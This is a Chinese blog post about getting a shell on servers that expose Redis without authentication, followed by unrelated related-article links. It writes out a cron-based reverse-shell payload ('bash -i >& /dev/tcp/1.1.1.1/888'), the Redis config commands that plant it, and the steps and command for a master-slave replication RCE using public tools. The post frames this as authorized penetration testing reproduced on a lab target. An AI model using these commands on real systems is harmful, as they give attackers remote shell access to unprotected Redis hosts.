记一次Redis+Getshell经验分享
前言:
当我们接到一个授权渗透测试的时候,常规漏洞如注入、文件上传等尝试无果后,扫描端口可能会发现意外收获。
知己知彼乃百战不殆,Redis介绍:
简单来说 redis 就是一个Key-Value类型的数据库, redis 所有数据全部在内存中进行操作,并且它可以将内存中的数据定期存储在磁盘中,并且支持保存多种数据结构(String、hash、list等)。
运筹帷幄之中,Redis漏洞:
1、未授权访问漏洞
Redis在默认情况下,会绑定在0.0.0.0:6379,如果没有采用限制IP访问,就会将Redis服务暴露在公网上,并且在没有设置密码认证的情况下,会导致任意用户未授权访问Redis以及读取Redis数据并写入公钥进行远程连接等。
当拿到数据库权限是不会满足我们的,我们的目标只有一个getshell!
目前较主流的两个方法,第一种定时计划反弹shell、第二种利用主从复制rce。
2、定时计划反弹shell
1)set x “\n* * * * * bash -i >& /dev/tcp/1.1.1.1/888 0>&1\n”
2)config set dir /var/spool/cron/
3)config set dbfilename root
4)save
3、利用主从复制rce
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
需要利用一个工具,GitHub下载即可。
1)git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)
2)git clone https://github.com/Ridter/redis-rce.git
进而通过未授权访问或者弱口令连接redis,执行脚本即可获取shell。
决胜千里之外,实战演练:
本次扫到了6379也就是Redis,有的时候可能或改默认端口,建议全端口扫描,本次利用主从复制rce获取shell(由于该漏洞已提交src,签约保密协议,故搭建靶机还原真实环境,保证原汁原味。)
攻击端ip:192.168.109.134
服务端ip:192.168.109.136
通过未授权访问连接redis(如果有密码,可以尝试爆破,authpassword 登陆系统):Redis-cli –h ip
利用主从复制rce获取shell
首先要生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。攻击端执行:
python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
成功获取shell
总结:
其实最难得还是需要细心,日常有授权测试的时候不要轻易放过任何数据包,以及一些js文件,它通常会给你带来很多意外的惊喜。执着是好事,但是不能太钻牛角尖,如果一个方面实在行不通的话,可以换条路走,毕竟条条大路最终都是通罗马的。
记一次Redis+Getshell经验分享的更多相关文章
- (转)国内外三个不同领域巨头分享的Redis实战经验及使用场景
随着应用对高性能需求的增加,NoSQL逐渐在各大名企的系统架构中生根发芽.这里我们将为大家分享社交巨头新浪微博.传媒巨头Viacom及图片分享领域佼佼者Pinterest带来的Redis实践,首先我们 ...
- Redis实战经验及使用场景
随着应用对高性能需求的增加,NoSQL逐渐在各大名企的系统架构中生根发芽.这里我们将为大家分享社交巨头新浪微博.传媒巨头Viacom及图片分享领域佼佼者Pinterest带来的Redis实践,首先我们 ...
- 我的秋招经验分享(已拿BAT头条网易滴滴)
微信公众号[程序员江湖] 作者黄小斜,斜杠青年,某985硕士,阿里 Java 研发工程师,于 2018 年秋招拿到 BAT 头条.网易.滴滴等 8 个大厂 offer,目前致力于分享这几年的学习经验. ...
- 2019年京东Java研发岗社招面经(面试经历+真题总结+经验分享)!
本篇先以日历形式回顾秋招之路,方便各位参考某厂的处理进度:然后是总结归纳春秋招Java面试题库:最后做个总结还有展望,开始新的征程~ 面试经历京东面试真题面试经验分享1.面试经历 2018年的冬季特别 ...
- Georgia Tech Online Master of Science in Computer Science 项目经验分享
Georgia Tech Online Master of Science in Computer Science 项目经验分享 Posted on 2014/04/22 项目关键词:工科名校,计算机 ...
- Kaggle比赛冠军经验分享:如何用 RNN 预测维基百科网络流量
Kaggle比赛冠军经验分享:如何用 RNN 预测维基百科网络流量 from:https://www.leiphone.com/news/201712/zbX22Ye5wD6CiwCJ.html 导语 ...
- 来自IOS开发工程师的零基础自学HTML5经验分享
移动互联网的火爆,而Html具有跨平台.开发快的优势,越来越受到开发者的青睐.感谢IOS开发工程师“小木___Boy”’带来的HTML5学习经验分享. 一.学习途径 1.很多视频网站 比如慕课.和极客 ...
- [2017-09-05]Abp系列——Abp后台作业系统介绍与经验分享
本系列目录:Abp介绍和经验分享-目录 什么是后台作业系统 后台作业系统即BackgroundJob,从需求上讲,是一套基础设施,允许我们定义一个作业,在未来指定的某个时间去执行. 后台作业的一般场景 ...
- 新东方APP技术架构演进, 分布式系统架构经验分享
今天的演讲题目是"新东方APP技术架构演进, C端技术经验分享" 作者:张建鑫, 曾任IBM高级软件架构师, 滴滴高级技术专家, 现任新东方集团高级技术总监 古代东西方的思想家都产 ...
随机推荐
- SpringBoot与Jpa自定义增删查改
一.引入依赖 <dependency> <groupId>org.springframework.boot</groupId> <artifactId> ...
- springdata框架
SpringData jpa: JPA(Java Persistence API)是当年的 Sun 官方提出的 Java 持久化规范. Spring Data JPA 是 Spring 基 ...
- Atom 必装插件
Atom 必装插件 转载请注明出处. https://blog.csdn.net/Nick_php/article/details/54020956 主题 atom-material-ui 字体配色 ...
- Python实现简单中文词频统计示例
简单统计一个小说中哪些个汉字出现的频率最高: import codecs import matplotlib.pyplot as plt from pylab import mpl mpl.rcPar ...
- SpringMvc 视图解析器常见功能、类型转换、格式化
springmvc.xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns=" ...
- STM32L152笔记
一 段式液晶初始化停在while(LCD_GetFlagStatus(LCD_FLAG_RDY) == RESET)中不出来,网上给的原因和解决办法: 1 也RTC的时钟有关,需要先配置RTC时钟 2 ...
- Manthan, Codefest 19 (open for everyone, rated, Div. 1 + Div. 2)E(多重集维护)
#define HAVE_STRUCT_TIMESPEC#include<bits/stdc++.h>using namespace std;long long ans[1000007]; ...
- 【PAT甲级】1010 Radix (25 分)(二分)
题意: 输入两个数可能包含小写字母,1或者2,进制大小.第三个数为代表第一个数是第四个数进制的,求第二个数等于第一个数时进制的大小,不可能则输出Impossible,第三个数为2代表第二个数是第四个数 ...
- Linux系统下安装python3.7.3环境
这里用到的Linux系统是centos7系统,centos7是自带py的但是py的2.7.5版本 连接服务器的使用的是SSH Secure shell 1.首先安装依赖包 1)安装gcc编译器 gcc ...
- Python 基础之返回值与函数使用与局部变量和全局变量locals() 和 globals()
一.函数的返回值 return return: 自定义返回值,返回到哪里? 返回到函数的[调用处]1.return 后面可以跟上六个标准数据类型,除此之外,可以跟上 类对象,函数,如果不写return ...